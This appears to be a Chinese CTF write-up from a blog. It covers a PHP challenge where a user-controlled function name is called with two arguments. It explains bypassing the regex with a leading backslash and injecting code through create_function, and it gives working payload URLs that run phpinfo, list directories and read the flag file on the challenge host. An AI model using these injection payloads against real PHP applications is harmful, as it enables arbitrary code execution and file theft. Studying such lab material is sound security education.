Code-Breaking Puzzles easy - function(匿名函数利用)

题目地址:http://120.78.164.84:49001/

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

我们来审计下这个代码:

1,看到 $action('',$arg) 这里有两个参数,可以想到create_function()匿名函数代码注入。

2,这里还有一个正则需要绕过,不过这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了。至于是什么字符,用bp来fuzz一波就可以知道是%5c。

http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*

3,实际上不用%5c,加一个 \ 也能执行,这里涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数。

https://blog.csdn.net/dyw_666666/article/details/90042852

看一下手册中的例子就大概知道是什么意思了。

http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*

最终Payload:

http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值